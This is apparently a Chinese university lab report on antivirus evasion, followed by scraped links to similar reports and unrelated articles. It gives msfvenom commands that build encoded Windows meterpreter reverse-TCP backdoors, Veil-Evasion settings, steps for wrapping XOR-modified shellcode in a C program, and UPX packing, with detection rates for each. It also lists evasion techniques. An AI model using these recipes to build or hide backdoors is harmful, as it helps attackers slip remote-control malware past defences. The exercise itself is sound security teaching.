20155226《网络攻防》 Exp3 免杀原理与实践
20155226《网络攻防》 Exp3 免杀原理与实践
实验过程
1. msfvenom直接生成meterpreter可执行文件
- 直接将上周做实验时用msf生成的后门文件放在virscan.org中进行扫描,扫描结果如下:
- 从上图可以看出,有19/39的杀毒软件发现有病毒,说明该后门程序很容易被发现
2. Msfvenom使用编码器生成meterpreter可执行文件
(1)一次编码:
使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.147.140 LPORT=5226 -f exe > 5226_backjar.jar
命令生成编码过的可执行文件再次使用virscan.org检测
- 我们发现有5/39的杀毒软件发现有病毒,变化比较大,只有少数能发现了。
3. Veil-Evasion免杀平台
- Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:
sudo apt-get install veil
- 在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:
set LHOST 192.168.147.140
//设置反弹连接IP
set LPORT 5226
//设置反弹端口5226,默认为4444
generate
//生成
thy5226
//程序名
该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,
放到网站上扫描一下:
4. C语言调用Shellcode
在kali主机下,进入终端,执行指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.147.140 LPORT=5226 -f c
* LHOST:攻击机IP
* LPORT:反弹连接端口
* c:生成一个c语言格式的Shellcode数组
在windows中创建一个C文件:MAIN.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数,编译后转换为一个可执行文件MAIN.exe
回流到kali
- 放到网上检查一下:
可以发现有7/39的杀毒软件发现有病毒,生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码。
修改代码以后(异或)
检测
5. 加壳
upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:
upx #需要加壳的文件名 -o #加壳后的文件名
- 发现还不如不加= =
实验总结
- 修改代码真不是强项OVO
- 杀毒软件不怎么靠谱,平时要悠着点来。
基础问题回答
- 杀软是如何检测出恶意代码的?
- 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的特征码时就可以判断为恶意代码。
为了防止自身特征码被检测,有些恶意代码使用了免杀加壳软件进行加壳,一些流行的加壳软件已经可以检查出来,如果被这样的加壳软件加壳就可能是恶意代码。
判断该代码是否有恶意行为,若有就会判断代码是恶意代码。
- 免杀是做什么的?
- 通过各种手段免除计算机对恶意代码查杀即为免杀。
- 免杀的基本方法有哪些?
- 通过改变自身特征码
加壳(可以选择比较新的、冷门的壳,流行的已经可以被大多数杀毒软件查杀) - 进行异或、逆序或者其他手段改变自身特征码。
- 通过改变软件攻击的行为
(2)在看似正常的应用中插入恶意代码,当程序运行时看似正常,可以逃过查杀。 - 可以使用反弹端口技术,这样看上去就像是靶机在主动链接ip,大大减低被查杀的风险。
- 使用隧道技术。
20155226《网络攻防》 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践
2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...
- 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...
- 20145236《网络攻防》 Exp3 免杀原理与实践
20145236<网络攻防> Exp3 免杀原理与实践 一.基础问题回答 1.杀软是如何检测出恶意代码的? 恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的 ...
- 20155308 《网络攻防》 Exp3 免杀原理与实践
20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...
- 20155318 《网络攻防》Exp3 免杀原理与实践
20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...
- 20155321 《网络攻防》 Exp3 免杀原理与实践
20155321 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 根据实验指导书,杀软有两个方法可以检测出恶意代码.第一种是基于特征码,即先对流行代码特 ...
- 20155330 《网络攻防》 Exp3 免杀原理与实践
20155330 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征码.先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序 ...
- 2015306 白皎 《网络攻防》Exp3 免杀原理与实践
2015306 白皎 <网络攻防>Exp3 免杀原理与实践 一.实践基础 免杀,故名思义,指的是一种能使病毒木马免于被杀毒软件查杀的技术. 免杀的方法有很多,比如加壳改壳.加垃圾指令.以及 ...
- 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践
### 2018-2019-2 网络对抗技术 20165320 Exp3 免杀原理与实践 一.实验内容 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...
随机推荐
- RecyclerView 下拉刷新和加载更多
一.SwipeRefreshLayout实现下拉刷新 1.方法API: setOnRefreshListener(OnRefreshListener):添加下拉刷新监听器 setRefreshing( ...
- 使用 Roslyn引擎动态编译代码
Roslyn引擎自2014年开源至今这么久,一直没怎么了解过,虽然VS2015早就集成了它. 以前老一套的动态编译方法在 .NET Core中似乎不再支持了,很多方法都是未实现的.下面就介绍如何在.N ...
- deep learning自学知识积累笔记
推荐系统的演变过程 协同过滤(英雄所见略同)思想为类似喜好的人的选择必然也类似.比如小学男生普遍喜欢打手游,中年大叔普遍喜欢射雕英雄传 随后有了SVD奇异值分解,但是SVD要求不能太稀疏,因此有了隐语 ...
- HBase的写事务,MVCC及新的写线程模型
MVCC是实现高性能数据库的关键技术,主要为了读不影响写.几乎所有数据库系统都用这技术,比如Spanner,看这里.Percolator,看这里.当然还有mysql.本文说HBase的MVCC和0.9 ...
- python Anaconda
转载自 https://blog.csdn.net/program_developer/article/details/79677557 目录: Anaconda是什么? 如何安装? 如何管理包? ...
- Windows10 家庭版没有本地组策略解决方法
windows 家庭版默认是没有本地组策略的, win+R运行gpedit.msc提示不存在 下面的代码保存一个cmdorbat 脚本文件add_gpedit.cmd, 并执行 add_gpedit. ...
- Coursera-AndrewNg(吴恩达)机器学习笔记——第四周编程作业(多分类与神经网络)
多分类问题——识别手写体数字0-9 一.逻辑回归解决多分类问题 1.图片像素为20*20,X的属性数目为400,输出层神经元个数为10,分别代表1-10(把0映射为10). 通过以下代码先形式化展示数 ...
- 2018亚太CDN峰会开幕, 阿里云王海华解读云+端+AI的短视频最佳实践
4月11-12日,2018亚太CDN峰会在北京隆重召开,在11日下午的短视频论坛中,阿里云高级技术专家王海华进行了<短视频最佳实践:云+端+AI>的主题演讲,分享了短视频的生命周期关键点和 ...
- MySQL主从复制日常管理维护篇
日常工作中,我们需要经常进行一些监控和管理维护工作,以便能及时发现一些复制中的问题,并尽快解决,以此来保证复制能够正常工作 1.查看从库状态 MySQL [(none)]> show slave ...
- 第 15 章 位操作(binbit)
/*------------------------------------ binbit.c -- 使用位操作显示二进制 ------------------------------------*/ ...